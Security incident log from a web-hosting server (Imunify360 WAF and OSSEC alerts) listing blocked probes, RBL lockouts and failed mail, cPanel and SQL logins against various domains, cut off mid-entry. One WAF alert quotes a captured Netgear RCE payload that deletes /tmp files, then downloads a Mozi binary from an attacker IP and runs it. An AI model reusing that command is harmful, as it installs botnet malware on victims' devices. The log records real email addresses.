# incident

plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.54.77
country_id: 1814991
domain: www.kdiballoon.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 59.62.67.55
country_id: 1814991
domain: www.kdiballoon.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.164.21
country_id: 1814991
domain: www.kdiballoon.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.162.254
country_id: 1814991
domain: www.kdiballoon.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 117.43.186.141
country_id: 1814991
domain: www.kdiballoon.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.87.93.27
country_id: 1814991
domain: www.kdiballoon.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 111.76.41.240
country_id: 1814991
domain: www.kdiballoon.com
description:


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 06:22:04 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.221.239
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=46661515394289 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.10.249.110
country_id: 3469034
domain: euratech.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/euratech.com.my/ HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 06:23:11 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.102.196.4
country_id: 2589581
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/mockery/mockery/tests/Mockery/MockeryCanMockMultipleInterfacesWhichOverlapTest.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 06:25:18 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 50.117.28.241
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:06-25.50.117.28.241||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 06:26:21 H=(localhost.localdomain) [45.150.192.143]:47226 F=<info@kapkenya.org> temporarily rejected RCPT <astpkg@astlog.com.my>: Could not complete sender verify


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.189.247.164
country_id: 3996063
domain: agpc.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/agpc.org.my/arise-shine-chinese/ HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 06:27:11 H=(localhost.localdomain) [45.150.192.143]:47970 F=<info@kapkenya.org> temporarily rejected RCPT <celine@ktlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 06:27:39 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.23.222.86
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=934392 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 06:28:48 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.178.120.157
country_id: 1831722
description:
[2026-01-30 06:28:55 +0800] info [cpaneld] 202.178.120.157 - afcmalaysia "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afcmalaysia (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 06:30:55 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.79.57.221
country_id: 2017370
description:
2026-01-30 06:31:38 dovecot_login authenticator failed for H=(95x79x57x221.static-business.nn.ertelecom.ru) [95.79.57.221]:58272: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.36
country_id: 1269750
description:
Jan 30 06:31:04 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.36 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.36
country_id: 1269750
description:
2026-01-30 06:31:06 dovecot_login authenticator failed for H=([122.187.229.36]) [122.187.229.36]:43729: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.79.57.221
country_id: 2017370
description:
Jan 30 06:31:36 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.79.57.221 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.168.134.238
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=936837 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.186.120.206
country_id: 1562822
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/event-single.php?id=301895 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 06:33:19 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.102.232.16
country_id: 3057568
description:
2026-01-30 06:33:59 dovecot_login authenticator failed for H=(ADMIN) [149.102.232.16]:47050: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 06:34:26 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 06:36:32 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.230.38.77
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=302004 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-30 06:38:43 H=([45.144.212.242]) [45.144.212.242]:54898 F=<no_reply@admin.com> rejected RCPT <info@oxbold.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 06:38:54 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 06:40:01 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.182.148.35
country_id: 3658394
description:
Jan 30 06:42:17 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.182.148.35 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 06:42:08 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 06:43:25 H=(localhost.localdomain) [45.150.192.143]:36702 F=<info@kapkenya.org> temporarily rejected RCPT <inquiries@ktlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.235.225.181
country_id: 6252001
description:
Jan 30 06:44:28 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.235.225.181 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.235.225.181
country_id: 6252001
description:
2026-01-30 06:44:30 dovecot_plain authenticator failed for H=c-71-235-225-181.hsd1.ct.comcast.net (conmons) [71.235.225.181]:36472: 535 Incorrect authentication data (set_id=sylviagooi@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 06:44:32 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 06:45:40 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-30 06:47:58 H=([64.89.160.15]) [64.89.160.15]:54250 F=<essential@mailling.uk> rejected RCPT <tst@tst-ma.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 06:47:45 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 06:50:06 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 06:51:14 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 130.254.106.30
country_id: 3175395
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:06-52.130.254.106.30||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 06:53:19 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.246.106.36
country_id: 2623032
description:
2026-01-30 06:54:08 dovecot_login authenticator failed for H=(ADMIN) [46.246.106.36]:12972: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 06:55:43 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 45.66.208.252
country_id: 2017370
domain: kimmark.com
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Kimmark8998.kimmark.com||Method:wp.getUsersBlogs


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 06:56:53 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.148.211.116
country_id: 3996063
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=92381526630256 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.172.92.161
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=486189 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 06:59:01 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:01:25 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:02:33 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:04:41 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 07:05:28 H=(localhost.localdomain) [45.150.192.143]:58722 F=<info@kapkenya.org> temporarily rejected RCPT <info@pspoly.com.my>: Could not complete sender verify


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.186.221.11
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=367160 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:07:03 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.162
country_id: 2750405
description:
2026-01-30  7:07:47 957835 [Warning] Aborted connection 957835 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.162' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:08:11 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.144.158.11
country_id: 1694008
domain: egbwawasan.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:28924.egbwawasan.com.my||ServerName:egbwawasan.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e13defd08d73b67ad3fa9e77055985bc62dccdd1||Title:0x20d4b387||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:10:18 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.157
country_id: 2750405
description:
2026-01-30  7:12:39 957970 [Warning] Aborted connection 957970 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.157' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:12:43 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.215.244
country_id: 1562822
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/product.php?page_id=14 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:13:52 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.162
country_id: 2750405
description:
2026-01-30  7:14:59 958026 [Warning] Aborted connection 958026 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.162' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:15:58 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.163.44.118
country_id: 1269750
description:
Jan 30 07:16:20 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.163.44.118 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.163.44.118
country_id: 1269750
description:
2026-01-30 07:16:22 dovecot_login authenticator failed for H=([103.163.44.118]) [103.163.44.118]:48306: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.159.99.9
country_id: 6252001
description:
2026-01-30 07:17:41 dovecot_plain authenticator failed for H=([192.159.99.9]) [192.159.99.9]:63861: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:18:19 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.159.99.9
country_id: 6252001
description:
2026-01-30 07:18:12 dovecot_plain authenticator failed for H=([192.159.99.9]) [192.159.99.9]:52832: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: modsec
rule: 77316728
name: IM360 WAF: Netgear unauthenticated RCE
abuser: 117.211.146.187
country_id: 1269750
description:
IM360 WAF: Netgear unauthenticated RCE||RSV:7.69||T:APACHE||MVN:ARGS:cmd||MV:rm -rf /tmp/*;wget http://117.211.146.187:51017/Mozi.m -O /tmp/netgear;sh netgear||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:19:27 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.148.72.158
country_id: 6290252
description:
2026-01-30 07:20:17 dovecot_plain authenticator failed for H=cable-178-148-72-158.dynamic.sbb.rs (LE7AQH53ZALJ4) [178.148.72.158]:55845: 535 Incorrect authentication data (set_id=meemee@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.17.233.246
country_id: 1269750
description:
Jan 30 07:20:45 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.17.233.246 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.17.233.246
country_id: 1269750
description:
2026-01-30 07:20:47 dovecot_login authenticator failed for H=([125.17.233.246]) [125.17.233.246]:52468: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:21:33 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.111.14.100
country_id: 6252001
description:
2026-01-30 07:23:04 dovecot_login authenticator failed for H=([127.0.0.1]) [75.111.14.100]:55836: 535 Incorrect authentication data (set_id=info@tst-ma.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-30 07:23:08 H=([64.89.160.15]) [64.89.160.15]:63355 F=<essential@mailling.uk> rejected RCPT <janice@smartcable.com.my>: Sender verify failed


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.126
country_id: 6252001
description:
2026-01-30  7:23:32 958240 [Warning] Aborted connection 958240 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.126' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:23:57 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.93.167.144
country_id: 1835841
description:
Jan 30 07:25:37 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.93.167.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-01-30 07:25:39 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:42956: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:25:05 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 07:25:16 H=(localhost.localdomain) [45.150.192.143]:50426 F=<info@kapkenya.org> temporarily rejected RCPT <jacklim@ktlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-30 07:25:23 H=([64.89.160.15]) [64.89.160.15]:50999 F=<essential@mailling.uk> rejected RCPT <tst@tst-ma.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:27:11 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 169.211.232.182
country_id: 1835841
description:
Jan 30 07:28:25 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 169.211.232.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-01-30 07:28:27 dovecot_login authenticator failed for H=([169.211.232.182]) [169.211.232.182]:47394: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.205.197
country_id: 99237
description:
Jan 30 07:29:40 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.205.197 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.137
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/font-awesome.min.css?ver=6.6.4 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.199
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/bootstrap.min.css?ver=6.6.4 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.185
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/responsive.css?ver=6.6.4 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.206
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/magnific-popup.css?ver=6.6.4 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.200
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/all.min.css?ver=6.6.4 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.172
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/fonts/Flaticon.woff HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 07:29:33 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.230.33.74
country_id: 2635167
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/home-carpenter/ HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.218
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment-child/style.css?ver=6.6.4 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
